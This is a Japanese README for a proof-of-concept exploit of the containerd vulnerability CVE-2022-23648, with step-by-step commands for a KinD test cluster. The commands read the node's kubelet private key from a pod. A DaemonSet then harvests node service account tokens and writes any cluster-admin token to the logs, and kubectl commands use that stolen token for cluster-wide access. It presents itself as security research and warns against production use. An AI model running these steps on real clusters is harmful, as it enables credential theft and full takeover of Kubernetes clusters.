
CVE-2022-23648 の PoC
これは @_fel1x の CVE-2022-23648 の概念実証です。開示情報は こちら、CVE 情報は こちら、そして詳細情報と緩和策のアイデアをまとめたブログは こちら を参照してください。Containerfile に必要な情報が記載されており、VOLUME のターゲットを変更することで異なるパスを試すことができます。
最も簡単に動作を確認する方法は、悪用可能なイメージを持つ KinD を使用することです。
ノードに /var/lib/kubelet/pki に大量のデータがない限り、このテストは安全なはずです。
kind create cluster --image=kindest/node:v1.21.1kubectl create -f pod-manifest.yamlkubectl exec poctest -- ls /var/lib/kubelet/pki/そして、kubelet.key を含むファイルが返ってきたら成功です :)
注意: 本番クラスターでは試さないでください。脆弱性のある Containerd は大量のデータをこの攻撃ポッドに複製し、ディスク容量を枯渇させる可能性があります。また、この操作は cluster-admin のサービスアカウントトークンをポッドのログに出力し、それが平文でログ保存先に送信される可能性があります。
これは、ノード上のすべての Kubernetes サービスアカウントトークンを列挙し、cluster-admin トークンが見つかった場合にポッドのログに出力する DaemonSet を実行します。
kubectl apply -f ds.yamlkubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i '*' '*' -Ayes と表示されたら、おめでとうございます。短期間有効な cluster-admin サービスアカウントトークンを取得できました。次のコマンドを実行してください:
kubectl logs -l app=poctest | head -1 | awk -F\. '{print $2}' | base64 -d でどの SA かを確認
kubectl --token="$(kubectl logs -l app=poctest | head -1)" get pods -A
kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i --list